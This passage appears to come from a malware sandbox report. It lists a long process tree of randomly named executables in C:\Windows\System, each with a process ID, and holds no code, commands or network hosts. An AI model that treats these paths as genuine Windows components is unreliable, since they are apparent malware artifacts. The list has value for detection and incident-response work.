  C:\Windows\System\sROohXy.exe
  2⤵
  PID:4496
- C:\Windows\System\EaTaJWn.exe
  C:\Windows\System\EaTaJWn.exe
  2⤵
  PID:4512
- C:\Windows\System\SGZACxB.exe
  C:\Windows\System\SGZACxB.exe
  2⤵
  PID:4528
- C:\Windows\System\RIveahv.exe
  C:\Windows\System\RIveahv.exe
  2⤵
  PID:4544
- C:\Windows\System\mOVoLFC.exe
  C:\Windows\System\mOVoLFC.exe
  2⤵
  PID:4560
- C:\Windows\System\DmwJfCL.exe
  C:\Windows\System\DmwJfCL.exe
  2⤵
  PID:4576
- C:\Windows\System\MZmiEtZ.exe
  C:\Windows\System\MZmiEtZ.exe
  2⤵
  PID:4592
- C:\Windows\System\gtetGKE.exe
  C:\Windows\System\gtetGKE.exe
  2⤵
  PID:4612
- C:\Windows\System\pmZYFJN.exe
  C:\Windows\System\pmZYFJN.exe
  2⤵
  PID:4628
- C:\Windows\System\TemUvWo.exe
  C:\Windows\System\TemUvWo.exe
  2⤵
  PID:4644
- C:\Windows\System\NFLLrkG.exe
  C:\Windows\System\NFLLrkG.exe
  2⤵
  PID:4660
- C:\Windows\System\zmMUHcF.exe
  C:\Windows\System\zmMUHcF.exe
  2⤵
  PID:4676
- C:\Windows\System\qqjuEAv.exe
  C:\Windows\System\qqjuEAv.exe
  2⤵
  PID:4692
- C:\Windows\System\sbdHyCn.exe
  C:\Windows\System\sbdHyCn.exe
  2⤵
  PID:4708
- C:\Windows\System\ukntKII.exe
  C:\Windows\System\ukntKII.exe
  2⤵
  PID:4724
- C:\Windows\System\VhdqVKe.exe
  C:\Windows\System\VhdqVKe.exe
  2⤵
  PID:4744
- C:\Windows\System\dOCUqaA.exe
  C:\Windows\System\dOCUqaA.exe
  2⤵
  PID:4788
- C:\Windows\System\BZcbOJh.exe
  C:\Windows\System\BZcbOJh.exe
  2⤵
  PID:4808
- C:\Windows\System\koUiZOT.exe
  C:\Windows\System\koUiZOT.exe
  2⤵
  PID:4896
- C:\Windows\System\FTqAMXq.exe
  C:\Windows\System\FTqAMXq.exe
  2⤵
  PID:5076
- C:\Windows\System\DHiFBLz.exe
  C:\Windows\System\DHiFBLz.exe
  2⤵
  PID:2264
- C:\Windows\System\wVwmJtz.exe
  C:\Windows\System\wVwmJtz.exe
  2⤵
  PID:3352
- C:\Windows\System\XEFotnz.exe
  C:\Windows\System\XEFotnz.exe
  2⤵
  PID:3084
- C:\Windows\System\HrcXafN.exe
  C:\Windows\System\HrcXafN.exe
  2⤵
  PID:3656
- C:\Windows\System\gDoUQXv.exe
  C:\Windows\System\gDoUQXv.exe
  2⤵
  PID:4216
- C:\Windows\System\PDXQPLu.exe
  C:\Windows\System\PDXQPLu.exe
  2⤵
  PID:4484
- C:\Windows\System\DZXDlyR.exe
  C:\Windows\System\DZXDlyR.exe
  2⤵
  PID:3980
- C:\Windows\System\VeBCSWo.exe
  C:\Windows\System\VeBCSWo.exe
  2⤵
  PID:4040
- C:\Windows\System\bLDvJZv.exe
  C:\Windows\System\bLDvJZv.exe
  2⤵
  PID:3892
- C:\Windows\System\qEGuOTd.exe
  C:\Windows\System\qEGuOTd.exe
  2⤵
  PID:3396
- C:\Windows\System\VGixnHX.exe
  C:\Windows\System\VGixnHX.exe
  2⤵
  PID:3248
- C:\Windows\System\ydxzIAM.exe
  C:\Windows\System\ydxzIAM.exe
  2⤵
  PID:3196
- C:\Windows\System\FGcagAy.exe
  C:\Windows\System\FGcagAy.exe
  2⤵
  PID:4760
- C:\Windows\System\nIGaPeL.exe
  C:\Windows\System\nIGaPeL.exe
  2⤵
  PID:4784
- C:\Windows\System\iOyjYEQ.exe
  C:\Windows\System\iOyjYEQ.exe
  2⤵
  PID:4272
- C:\Windows\System\GXyoZwE.exe
  C:\Windows\System\GXyoZwE.exe
  2⤵
  PID:4508
- C:\Windows\System\cPOkhRg.exe
  C:\Windows\System\cPOkhRg.exe
  2⤵
  PID:4184
- C:\Windows\System\PRvjRQi.exe
  C:\Windows\System\PRvjRQi.exe
  2⤵
  PID:4624
- C:\Windows\System\kPsFfOE.exe
  C:\Windows\System\kPsFfOE.exe
  2⤵
  PID:4572
- C:\Windows\System\enzKcYR.exe
  C:\Windows\System\enzKcYR.exe
  2⤵
  PID:4720
- C:\Windows\System\IDwTPWw.exe
  C:\Windows\System\IDwTPWw.exe
  2⤵
  PID:4376
- C:\Windows\System\LBGCajt.exe
  C:\Windows\System\LBGCajt.exe
  2⤵
  PID:4220
- C:\Windows\System\ESOJOlX.exe
  C:\Windows\System\ESOJOlX.exe
  2⤵
  PID:4524
- C:\Windows\System\eTGqhJO.exe
  C:\Windows\System\eTGqhJO.exe
  2⤵
  PID:4636
- C:\Windows\System\uQgKKTM.exe
  C:\Windows\System\uQgKKTM.exe
  2⤵
  PID:4156
- C:\Windows\System\peiSPiq.exe
  C:\Windows\System\peiSPiq.exe
  2⤵
  PID:4740
- C:\Windows\System\XLuLOIZ.exe
  C:\Windows\System\XLuLOIZ.exe
  2⤵
  PID:4136
- C:\Windows\System\mFglhXq.exe
  C:\Windows\System\mFglhXq.exe
  2⤵
  PID:4424
- C:\Windows\System\kWneYxF.exe
  C:\Windows\System\kWneYxF.exe
  2⤵
  PID:4436
- C:\Windows\System\lKVZaYF.exe
  C:\Windows\System\lKVZaYF.exe
  2⤵
  PID:4304
- C:\Windows\System\rSquaTm.exe
  C:\Windows\System\rSquaTm.exe
  2⤵
  PID:4816
- C:\Windows\System\dPQkfnx.exe
  C:\Windows\System\dPQkfnx.exe
  2⤵
  PID:3940
- C:\Windows\System\xIldOgQ.exe
  C:\Windows\System\xIldOgQ.exe
  2⤵
  PID:4836
- C:\Windows\System\UlJkvPR.exe
  C:\Windows\System\UlJkvPR.exe
  2⤵
  PID:4848
- C:\Windows\System\NMDJXAE.exe
  C:\Windows\System\NMDJXAE.exe
  2⤵
  PID:4872
- C:\Windows\System\wwpWHyZ.exe
  C:\Windows\System\wwpWHyZ.exe
  2⤵
  PID:4908
- C:\Windows\System\cMsrQgp.exe
  C:\Windows\System\cMsrQgp.exe
  2⤵
  PID:4924
- C:\Windows\System\yCOdWDo.exe
  C:\Windows\System\yCOdWDo.exe
  2⤵
  PID:4888
- C:\Windows\System\oskvqJG.exe
  C:\Windows\System\oskvqJG.exe
  2⤵
  PID:4948
- C:\Windows\System\PjysjaT.exe
  C:\Windows\System\PjysjaT.exe
  2⤵
  PID:5012
- C:\Windows\System\vsPpILo.exe
  C:\Windows\System\vsPpILo.exe
  2⤵
  PID:5056
- C:\Windows\System\CNfiOcT.exe
  C:\Windows\System\CNfiOcT.exe
  2⤵
  PID:5084
- C:\Windows\System\MjzrHdw.exe
  C:\Windows\System\MjzrHdw.exe
  2⤵
  PID:3564
- C:\Windows\System\WcAcxkN.exe
  C:\Windows\System\WcAcxkN.exe
  2⤵
  PID:1912
- C:\Windows\System\AFUBvPO.exe
  C:\Windows\System\AFUBvPO.exe
  2⤵
  PID:3716
- C:\Windows\System\XwIPffR.exe
  C:\Windows\System\XwIPffR.exe
  2⤵
  PID:3532
- C:\Windows\System\vmTQbFO.exe
  C:\Windows\System\vmTQbFO.exe
  2⤵
  PID:2088
- C:\Windows\System\OWDZoqh.exe
  C:\Windows\System\OWDZoqh.exe
  2⤵
  PID:4204
- C:\Windows\System\qOTcEDi.exe
  C:\Windows\System\qOTcEDi.exe
  2⤵
  PID:3464
- C:\Windows\System\ddYglCi.exe
  C:\Windows\System\ddYglCi.exe
  2⤵
  PID:4764
- C:\Windows\System\FnfYYrB.exe
  C:\Windows\System\FnfYYrB.exe
  2⤵
  PID:3780
- C:\Windows\System\DvCTaDu.exe
  C:\Windows\System\DvCTaDu.exe
  2⤵
  PID:3772
- C:\Windows\System\SxyEcWi.exe
  C:\Windows\System\SxyEcWi.exe
  2⤵
  PID:4472
- C:\Windows\System\nKOfiUC.exe
  C:\Windows\System\nKOfiUC.exe
  2⤵
  PID:4780
- C:\Windows\System\ExAxXsM.exe
  C:\Windows\System\ExAxXsM.exe
  2⤵
  PID:4552
- C:\Windows\System\JUMjDlA.exe
  C:\Windows\System\JUMjDlA.exe
  2⤵
  PID:4584
- C:\Windows\System\fymbbAX.exe
  C:\Windows\System\fymbbAX.exe
  2⤵
  PID:4672
- C:\Windows\System\TIjyxje.exe
  C:\Windows\System\TIjyxje.exe
  2⤵
  PID:4736
- C:\Windows\System\kOYdLDS.exe
  C:\Windows\System\kOYdLDS.exe
  2⤵
  PID:4568
- C:\Windows\System\QwExudV.exe
  C:\Windows\System\QwExudV.exe
  2⤵
  PID:4684
- C:\Windows\System\xHDkYET.exe
  C:\Windows\System\xHDkYET.exe
  2⤵
  PID:4940
- C:\Windows\System\dIRwqCo.exe
  C:\Windows\System\dIRwqCo.exe
  2⤵
  PID:4656
- C:\Windows\System\OqCznIw.exe
  C:\Windows\System\OqCznIw.exe
  2⤵
  PID:4188
- C:\Windows\System\LiPWAYF.exe
  C:\Windows\System\LiPWAYF.exe
  2⤵
  PID:4268
- C:\Windows\System\xKJHbjM.exe
  C:\Windows\System\xKJHbjM.exe
  2⤵
  PID:4404
- C:\Windows\System\ooVcRvv.exe
  C:\Windows\System\ooVcRvv.exe
  2⤵
  PID:5100
- C:\Windows\System\UAndqkx.exe
  C:\Windows\System\UAndqkx.exe
  2⤵
  PID:1352
- C:\Windows\System\TUrmvQb.exe
  C:\Windows\System\TUrmvQb.exe
  2⤵
  PID:4300
- C:\Windows\System\qHGfZFd.exe
  C:\Windows\System\qHGfZFd.exe
  2⤵
  PID:4844
- C:\Windows\System\jTWozlY.exe
  C:\Windows\System\jTWozlY.exe
  2⤵
  PID:4224
- C:\Windows\System\GHmdtDF.exe
  C:\Windows\System\GHmdtDF.exe
  2⤵
  PID:4088
- C:\Windows\System\tfpJYHZ.exe
  C:\Windows\System\tfpJYHZ.exe
  2⤵
  PID:4152
- C:\Windows\System\zfRzGFN.exe
  C:\Windows\System\zfRzGFN.exe
  2⤵
  PID:3672
- C:\Windows\System\CEDNSuI.exe
  C:\Windows\System\CEDNSuI.exe
  2⤵
  PID:4168
- C:\Windows\System\jzOrdNB.exe
  C:\Windows\System\jzOrdNB.exe
  2⤵
  PID:4608
- C:\Windows\System\zbgwyqs.exe
  C:\Windows\System\zbgwyqs.exe
  2⤵
  PID:4100
- C:\Windows\System\eYCmMjs.exe
  C:\Windows\System\eYCmMjs.exe
  2⤵
  PID:4700
- C:\Windows\System\CTqJqtc.exe
  C:\Windows\System\CTqJqtc.exe
  2⤵
  PID:5040
- C:\Windows\System\yBmEIVE.exe
  C:\Windows\System\yBmEIVE.exe
  2⤵
  PID:3724
- C:\Windows\System\zSkQwHO.exe
  C:\Windows\System\zSkQwHO.exe
  2⤵
  PID:4140
- C:\Windows\System\YEMeLWR.exe
  C:\Windows\System\YEMeLWR.exe
  2⤵
  PID:5096
- C:\Windows\System\hWnwMil.exe
  C:\Windows\System\hWnwMil.exe
  2⤵
  PID:3764
- C:\Windows\System\UiwEbRs.exe
  C:\Windows\System\UiwEbRs.exe
  2⤵
  PID:4852
- C:\Windows\System\Upcccpp.exe
  C:\Windows\System\Upcccpp.exe
  2⤵
  PID:4388
- C:\Windows\System\FiIfLFw.exe
  C:\Windows\System\FiIfLFw.exe
  2⤵
  PID:3600
- C:\Windows\System\xcWnEJw.exe
  C:\Windows\System\xcWnEJw.exe
  2⤵
  PID:4928
- C:\Windows\System\FkWRUMF.exe
  C:\Windows\System\FkWRUMF.exe
  2⤵
  PID:4860
- C:\Windows\System\lHWDrhD.exe
  C:\Windows\System\lHWDrhD.exe
  2⤵
  PID:4944
- C:\Windows\System\KvhzdMK.exe
  C:\Windows\System\KvhzdMK.exe
  2⤵
  PID:5060
- C:\Windows\System\TbNcmfM.exe
  C:\Windows\System\TbNcmfM.exe
  2⤵
  PID:3848
- C:\Windows\System\iXTOezY.exe
  C:\Windows\System\iXTOezY.exe
  2⤵
  PID:3688
- C:\Windows\System\zhvzzZR.exe
  C:\Windows\System\zhvzzZR.exe
  2⤵
  PID:4620
- C:\Windows\System\mAEdNCa.exe
  C:\Windows\System\mAEdNCa.exe
  2⤵
  PID:4360
- C:\Windows\System\xmhvinK.exe
  C:\Windows\System\xmhvinK.exe
  2⤵
  PID:4804
- C:\Windows\System\QIhwEtd.exe
  C:\Windows\System\QIhwEtd.exe
  2⤵
  PID:5136
- C:\Windows\System\LDvQbJf.exe
  C:\Windows\System\LDvQbJf.exe
  2⤵
  PID:5152
- C:\Windows\System\LprVbuu.exe
  C:\Windows\System\LprVbuu.exe
  2⤵
  PID:5172
- C:\Windows\System\kOCEQYi.exe
  C:\Windows\System\kOCEQYi.exe
  2⤵
  PID:5188
- C:\Windows\System\WNfgBbF.exe
  C:\Windows\System\WNfgBbF.exe
  2⤵
  PID:5204
- C:\Windows\System\LglVIol.exe
  C:\Windows\System\LglVIol.exe
  2⤵
  PID:5220
- C:\Windows\System\DBUnFqG.exe
  C:\Windows\System\DBUnFqG.exe
  2⤵
  PID:5236
- C:\Windows\System\IQYdMAT.exe
  C:\Windows\System\IQYdMAT.exe
  2⤵
  PID:5252
- C:\Windows\System\ArKzjsK.exe
  C:\Windows\System\ArKzjsK.exe
  2⤵
  PID:5268
- C:\Windows\System\laPqsPp.exe
  C:\Windows\System\laPqsPp.exe
  2⤵
  PID:5288
- C:\Windows\System\uLpdJvE.exe
  C:\Windows\System\uLpdJvE.exe
  2⤵
  PID:5304
- C:\Windows\System\JRGJvzQ.exe
  C:\Windows\System\JRGJvzQ.exe
  2⤵
  PID:5324
- C:\Windows\System\EDwlvbD.exe
  C:\Windows\System\EDwlvbD.exe
  2⤵
  PID:5344
- C:\Windows\System\THPbtEK.exe
  C:\Windows\System\THPbtEK.exe
  2⤵
  PID:5368
- C:\Windows\System\QSGhWFc.exe
  C:\Windows\System\QSGhWFc.exe
  2⤵
  PID:5384
- C:\Windows\System\LvZzLYV.exe
  C:\Windows\System\LvZzLYV.exe
  2⤵
  PID:5400
- C:\Windows\System\uggdoef.exe
  C:\Windows\System\uggdoef.exe
  2⤵
  PID:5416
- C:\Windows\System\jORmEDi.exe
  C:\Windows\System\jORmEDi.exe
  2⤵
  PID:5440
- C:\Windows\System\zNsJUuv.exe
  C:\Windows\System\zNsJUuv.exe
  2⤵
  PID:5528
- C:\Windows\System\MQbjCaK.exe
  C:\Windows\System\MQbjCaK.exe
  2⤵
  PID:5544
- C:\Windows\System\JfKAZUI.exe
  C:\Windows\System\JfKAZUI.exe
  2⤵
  PID:5560
- C:\Windows\System\UpQGCgk.exe
  C:\Windows\System\UpQGCgk.exe
  2⤵
  PID:5576
- C:\Windows\System\AJEJRzq.exe
  C:\Windows\System\AJEJRzq.exe
  2⤵
  PID:5592
- C:\Windows\System\XDWvXKD.exe
  C:\Windows\System\XDWvXKD.exe
  2⤵
  PID:5608
- C:\Windows\System\adnLypi.exe
  C:\Windows\System\adnLypi.exe
  2⤵
  PID:5624
- C:\Windows\System\boAXlxb.exe
  C:\Windows\System\boAXlxb.exe
  2⤵
  PID:5640
- C:\Windows\System\yYIYkuj.exe
  C:\Windows\System\yYIYkuj.exe
  2⤵
  PID:5656
- C:\Windows\System\lVUENWa.exe
  C:\Windows\System\lVUENWa.exe
  2⤵
  PID:5672
- C:\Windows\System\esWjimz.exe
  C:\Windows\System\esWjimz.exe
  2⤵
  PID:5688
- C:\Windows\System\pxhRRGR.exe
  C:\Windows\System\pxhRRGR.exe
  2⤵
  PID:5708
- C:\Windows\System\AMtejhq.exe
  C:\Windows\System\AMtejhq.exe
  2⤵
  PID:5724
- C:\Windows\System\pEjbnvF.exe
  C:\Windows\System\pEjbnvF.exe
  2⤵
  PID:5740
- C:\Windows\System\ZAvgcix.exe
  C:\Windows\System\ZAvgcix.exe
  2⤵
  PID:5756
- C:\Windows\System\BukGBUz.exe
  C:\Windows\System\BukGBUz.exe
  2⤵
  PID:5776
- C:\Windows\System\UVDWJwm.exe
  C:\Windows\System\UVDWJwm.exe
  2⤵
  PID:5792
- C:\Windows\System\cbZNgqo.exe
  C:\Windows\System\cbZNgqo.exe
  2⤵
  PID:5808
- C:\Windows\System\BdydIxA.exe
  C:\Windows\System\BdydIxA.exe
  2⤵
  PID:5844
- C:\Windows\System\EIAlzjt.exe
  C:\Windows\System\EIAlzjt.exe
  2⤵
  PID:5860
- C:\Windows\System\xEIIAlt.exe
  C:\Windows\System\xEIIAlt.exe
  2⤵
  PID:5876
- C:\Windows\System\HRdsMpY.exe
  C:\Windows\System\HRdsMpY.exe
  2⤵
  PID:5892
- C:\Windows\System\zUczYIq.exe
  C:\Windows\System\zUczYIq.exe
  2⤵
  PID:5908
- C:\Windows\System\QBbdwIB.exe
  C:\Windows\System\QBbdwIB.exe
  2⤵
  PID:5924
- C:\Windows\System\YaIIDuL.exe
  C:\Windows\System\YaIIDuL.exe
  2⤵
  PID:5940
- C:\Windows\System\MbAVzFz.exe
  C:\Windows\System\MbAVzFz.exe
  2⤵
  PID:5956
- C:\Windows\System\kSPEwrx.exe
  C:\Windows\System\kSPEwrx.exe
  2⤵
  PID:5972
- C:\Windows\System\tBrOYyJ.exe
  C:\Windows\System\tBrOYyJ.exe
  2⤵
  PID:5988
- C:\Windows\System\gUZBeVH.exe
  C:\Windows\System\gUZBeVH.exe
  2⤵
  PID:6004
- C:\Windows\System\BWipKMc.exe
  C:\Windows\System\BWipKMc.exe
  2⤵
  PID:6020
- C:\Windows\System\kAkwNeM.exe
  C:\Windows\System\kAkwNeM.exe
  2⤵
  PID:6036
- C:\Windows\System\LmYihZm.exe
  C:\Windows\System\LmYihZm.exe
  2⤵
  PID:6052
- C:\Windows\System\vhYpFvC.exe
  C:\Windows\System\vhYpFvC.exe
  2⤵
  PID:6068
- C:\Windows\System\RqphXaJ.exe
  C:\Windows\System\RqphXaJ.exe
  2⤵
  PID:6084
- C:\Windows\System\EKpVNbq.exe
  C:\Windows\System\EKpVNbq.exe
  2⤵
  PID:6100
- C:\Windows\System\AeTbIbV.exe
  C:\Windows\System\AeTbIbV.exe
  2⤵
  PID:6116
- C:\Windows\System\KPgqFzA.exe
  C:\Windows\System\KPgqFzA.exe
  2⤵
  PID:6132
- C:\Windows\System\OHOzAjm.exe
  C:\Windows\System\OHOzAjm.exe
  2⤵
  PID:4252
- C:\Windows\System\DhYhdnX.exe
  C:\Windows\System\DhYhdnX.exe
  2⤵
  PID:4324
- C:\Windows\System\dheqgxD.exe
  C:\Windows\System\dheqgxD.exe
  2⤵
  PID:5144
- C:\Windows\System\MJwAiKt.exe
  C:\Windows\System\MJwAiKt.exe
  2⤵
  PID:5212
- C:\Windows\System\vXrCpqS.exe
  C:\Windows\System\vXrCpqS.exe
  2⤵
  PID:5276
- C:\Windows\System\ikdwcGS.exe
  C:\Windows\System\ikdwcGS.exe
  2⤵
  PID:4772
- C:\Windows\System\wAcAxpy.exe
  C:\Windows\System\wAcAxpy.exe
  2⤵
  PID:5320
- C:\Windows\System\XEOivvq.exe
  C:\Windows\System\XEOivvq.exe
  2⤵
  PID:4536
- C:\Windows\System\NXFHwJS.exe
  C:\Windows\System\NXFHwJS.exe
  2⤵
  PID:4828
- C:\Windows\System\CZXtxgF.exe
  C:\Windows\System\CZXtxgF.exe
  2⤵
  PID:3876
- C:\Windows\System\QYPViXQ.exe
  C:\Windows\System\QYPViXQ.exe
  2⤵
  PID:5104
- C:\Windows\System\blweHmk.exe
  C:\Windows\System\blweHmk.exe
  2⤵
  PID:5408
- C:\Windows\System\laBPRtb.exe
  C:\Windows\System\laBPRtb.exe
  2⤵
  PID:5436
- C:\Windows\System\vGQFAdg.exe
  C:\Windows\System\vGQFAdg.exe
  2⤵
  PID:5460
- C:\Windows\System\LoEsosq.exe
  C:\Windows\System\LoEsosq.exe
  2⤵
  PID:5484
- C:\Windows\System\ImZBckG.exe
  C:\Windows\System\ImZBckG.exe
  2⤵
  PID:5480
- C:\Windows\System\hMUjIMx.exe
  C:\Windows\System\hMUjIMx.exe
  2⤵
  PID:5568
- C:\Windows\System\tSDTwMM.exe
  C:\Windows\System\tSDTwMM.exe
  2⤵
  PID:5632
- C:\Windows\System\LfUCnvH.exe
  C:\Windows\System\LfUCnvH.exe
  2⤵
  PID:5696
- C:\Windows\System\OCSStZR.exe
  C:\Windows\System\OCSStZR.exe
  2⤵
  PID:5736
- C:\Windows\System\CEksfXe.exe
  C:\Windows\System\CEksfXe.exe
  2⤵
  PID:5800
- C:\Windows\System\TchxRVN.exe
  C:\Windows\System\TchxRVN.exe
  2⤵
  PID:5648
- C:\Windows\System\SGIPFuX.exe
  C:\Windows\System\SGIPFuX.exe
  2⤵
  PID:5852
- C:\Windows\System\TkOWiCF.exe
  C:\Windows\System\TkOWiCF.exe
  2⤵
  PID:5888
- C:\Windows\System\RXsJQQM.exe
  C:\Windows\System\RXsJQQM.exe
  2⤵
  PID:5828
- C:\Windows\System\juMlwxh.exe
  C:\Windows\System\juMlwxh.exe
  2⤵
  PID:5952
- C:\Windows\System\reupamu.exe
  C:\Windows\System\reupamu.exe
  2⤵
  PID:6016
- C:\Windows\System\SHcdkuN.exe
  C:\Windows\System\SHcdkuN.exe
  2⤵
  PID:6076
- C:\Windows\System\ZlNGLof.exe
  C:\Windows\System\ZlNGLof.exe
  2⤵
  PID:6140
- C:\Windows\System\IkdHHYG.exe
  C:\Windows\System\IkdHHYG.exe
  2⤵
  PID:5584
- C:\Windows\System\nRlshzW.exe
  C:\Windows\System\nRlshzW.exe
  2⤵
  PID:5504
- C:\Windows\System\AtTNsyB.exe
  C:\Windows\System\AtTNsyB.exe
  2⤵
  PID:5244
- C:\Windows\System\HxyyRnG.exe
  C:\Windows\System\HxyyRnG.exe
  2⤵
  PID:5360
- C:\Windows\System\NrhxlTY.exe
  C:\Windows\System\NrhxlTY.exe
  2⤵
  PID:4880
- C:\Windows\System\UoYpwMf.exe
  C:\Windows\System\UoYpwMf.exe
  2⤵
  PID:5720
- C:\Windows\System\PaFSGJI.exe
  C:\Windows\System\PaFSGJI.exe
  2⤵
  PID:5868
- C:\Windows\System\YdTXYxu.exe
  C:\Windows\System\YdTXYxu.exe
  2⤵
  PID:6060
- C:\Windows\System\vcgAike.exe
  C:\Windows\System\vcgAike.exe
  2⤵
  PID:5820
- C:\Windows\System\AWGdVMq.exe
  C:\Windows\System\AWGdVMq.exe
  2⤵
  PID:5968
- C:\Windows\System\jeUqMhe.exe
  C:\Windows\System\jeUqMhe.exe
  2⤵
  PID:6064
- C:\Windows\System\pBipKaI.exe
  C:\Windows\System\pBipKaI.exe
  2⤵
  PID:5092
- C:\Windows\System\CleyeWA.exe
  C:\Windows\System\CleyeWA.exe
  2⤵
  PID:3028
- C:\Windows\System\ewCtMvj.exe
  C:\Windows\System\ewCtMvj.exe
  2⤵
  PID:4120
- C:\Windows\System\MCnIbjF.exe
  C:\Windows\System\MCnIbjF.exe
  2⤵
  PID:5160
- C:\Windows\System\PwMerWS.exe
  C:\Windows\System\PwMerWS.exe
  2⤵
  PID:5200
- C:\Windows\System\RvJbMlT.exe
  C:\Windows\System\RvJbMlT.exe
  2⤵
  PID:5264
- C:\Windows\System\YsBtTbs.exe
  C:\Windows\System\YsBtTbs.exe
  2⤵
  PID:5424
- C:\Windows\System\KnbTkoI.exe
  C:\Windows\System\KnbTkoI.exe
  2⤵
  PID:5452
- C:\Windows\System\qfhZblv.exe
  C:\Windows\System\qfhZblv.exe
  2⤵
  PID:5536
- C:\Windows\System\eJclPzA.exe
  C:\Windows\System\eJclPzA.exe
  2⤵
  PID:5668
- C:\Windows\System\IUkwFoL.exe
  C:\Windows\System\IUkwFoL.exe
  2⤵
  PID:5716
- C:\Windows\System\XUTMnUa.exe
  C:\Windows\System\XUTMnUa.exe
  2⤵
  PID:5512
- C:\Windows\System\XqfMPqs.exe
  C:\Windows\System\XqfMPqs.exe
  2⤵
  PID:6108
- C:\Windows\System\GWxTZgI.exe
  C:\Windows\System\GWxTZgI.exe
  2⤵
  PID:5476
- C:\Windows\System\ZRkLZmr.exe
  C:\Windows\System\ZRkLZmr.exe
  2⤵
  PID:5616
- C:\Windows\System\ZURdSuO.exe
  C:\Windows\System\ZURdSuO.exe
  2⤵
  PID:5948
- C:\Windows\System\YHegxFy.exe
  C:\Windows\System\YHegxFy.exe
  2⤵
  PID:5732
- C:\Windows\System\XtZMldU.exe
  C:\Windows\System\XtZMldU.exe
  2⤵
  PID:6000
- C:\Windows\System\jGkuXSF.exe
  C:\Windows\System\jGkuXSF.exe
  2⤵
  PID:5520
- C:\Windows\System\TgjTDGQ.exe
  C:\Windows\System\TgjTDGQ.exe
  2⤵
  PID:5016
- C:\Windows\System\nVCKiOe.exe
  C:\Windows\System\nVCKiOe.exe
  2⤵
  PID:5840
- C:\Windows\System\HUStAZb.exe
  C:\Windows\System\HUStAZb.exe
  2⤵
  PID:4000
- C:\Windows\System\ROdBXHi.exe
  C:\Windows\System\ROdBXHi.exe
  2⤵
  PID:5284
- C:\Windows\System\bghjQMy.exe
  C:\Windows\System\bghjQMy.exe
  2⤵
  PID:5168
- C:\Windows\System\ooXZNXL.exe
  C:\Windows\System\ooXZNXL.exe
  2⤵
  PID:5464
- C:\Windows\System\fBFOGgu.exe
  C:\Windows\System\fBFOGgu.exe
  2⤵
  PID:6012
- C:\Windows\System\cpTIxAZ.exe
  C:\Windows\System\cpTIxAZ.exe
  2⤵
  PID:5316
- C:\Windows\System\DaGNIOQ.exe
  C:\Windows\System\DaGNIOQ.exe
  2⤵
  PID:6048
- C:\Windows\System\FuQRUeU.exe
  C:\Windows\System\FuQRUeU.exe
  2⤵
  PID:5816
- C:\Windows\System\VSYzrrv.exe
  C:\Windows\System\VSYzrrv.exe
  2⤵
  PID:5300
- C:\Windows\System\gyLKStm.exe
  C:\Windows\System\gyLKStm.exe
  2⤵
  PID:5260
- C:\Windows\System\YhpqjbE.exe
  C:\Windows\System\YhpqjbE.exe
  2⤵
  PID:6148
- C:\Windows\System\RpKFEqZ.exe
  C:\Windows\System\RpKFEqZ.exe
  2⤵
  PID:6164
- C:\Windows\System\qKYGqoO.exe
  C:\Windows\System\qKYGqoO.exe
  2⤵
  PID:6180
- C:\Windows\System\BWjlKwY.exe
  C:\Windows\System\BWjlKwY.exe
  2⤵
  PID:6196
- C:\Windows\System\ssYuKrX.exe
  C:\Windows\System\ssYuKrX.exe
  2⤵
  PID:6212
- C:\Windows\System\wxuKdEx.exe
  C:\Windows\System\wxuKdEx.exe
  2⤵
  PID:6232
- C:\Windows\System\LVdcJLF.exe
  C:\Windows\System\LVdcJLF.exe
  2⤵
  PID:6248
- C:\Windows\System\ZTOEYkz.exe
  C:\Windows\System\ZTOEYkz.exe
  2⤵
  PID:6264
- C:\Windows\System\iheKZth.exe
  C:\Windows\System\iheKZth.exe
  2⤵
  PID:6280
- C:\Windows\System\WRgECcx.exe
  C:\Windows\System\WRgECcx.exe
  2⤵
  PID:6296
- C:\Windows\System\osjDtJi.exe
  C:\Windows\System\osjDtJi.exe
  2⤵
  PID:6312
- C:\Windows\System\wQrYHHe.exe
  C:\Windows\System\wQrYHHe.exe
  2⤵
  PID:6328
- C:\Windows\System\wQqSpfS.exe
  C:\Windows\System\wQqSpfS.exe
  2⤵
  PID:6344
- C:\Windows\System\omoYOBZ.exe
  C:\Windows\System\omoYOBZ.exe
  2⤵
  PID:6360
- C:\Windows\System\CDzfVdZ.exe
  C:\Windows\System\CDzfVdZ.exe
  2⤵
  PID:6376
- C:\Windows\System\jQpzsVx.exe
  C:\Windows\System\jQpzsVx.exe
  2⤵
  PID:6392
- C:\Windows\System\JzSiNDx.exe
  C:\Windows\System\JzSiNDx.exe
  2⤵
  PID:6408
- C:\Windows\System\kceUkXF.exe
  C:\Windows\System\kceUkXF.exe
  2⤵
  PID:6472
- C:\Windows\System\VjWqQoc.exe
  C:\Windows\System\VjWqQoc.exe
  2⤵
  PID:6504
- C:\Windows\System\fXhmJhw.exe
  C:\Windows\System\fXhmJhw.exe
  2⤵
  PID:6536
- C:\Windows\System\nEyyrDH.exe
  C:\Windows\System\nEyyrDH.exe
  2⤵
  PID:6724
- C:\Windows\System\Iaxpfco.exe
  C:\Windows\System\Iaxpfco.exe
  2⤵
  PID:6740
- C:\Windows\System\jWdnPjm.exe
  C:\Windows\System\jWdnPjm.exe
  2⤵
  PID:6756
- C:\Windows\System\XJEbsrW.exe
  C:\Windows\System\XJEbsrW.exe
  2⤵
  PID:6772
- C:\Windows\System\tQevQVi.exe
  C:\Windows\System\tQevQVi.exe
  2⤵
  PID:6788
- C:\Windows\System\KMEbGno.exe
  C:\Windows\System\KMEbGno.exe
  2⤵
  PID:6808
- C:\Windows\System\NJZLEvj.exe
  C:\Windows\System\NJZLEvj.exe
  2⤵
  PID:6824
- C:\Windows\System\BamSUXX.exe
  C:\Windows\System\BamSUXX.exe
  2⤵
  PID:6840
- C:\Windows\System\lPELTpN.exe
  C:\Windows\System\lPELTpN.exe
  2⤵
  PID:6856
- C:\Windows\System\IsJdPRT.exe
  C:\Windows\System\IsJdPRT.exe
  2⤵
  PID:6876
- C:\Windows\System\gdLuFCQ.exe
  C:\Windows\System\gdLuFCQ.exe
  2⤵
  PID:6892
- C:\Windows\System\MadogvL.exe
  C:\Windows\System\MadogvL.exe
  2⤵
  PID:6908
- C:\Windows\System\euPRXBx.exe
  C:\Windows\System\euPRXBx.exe
  2⤵
  PID:6932
- C:\Windows\System\IUlMLxO.exe
  C:\Windows\System\IUlMLxO.exe
  2⤵
  PID:6948
- C:\Windows\System\NocTrfL.exe
  C:\Windows\System\NocTrfL.exe
  2⤵
  PID:6964
- C:\Windows\System\eWFxheW.exe
  C:\Windows\System\eWFxheW.exe
  2⤵
  PID:6980
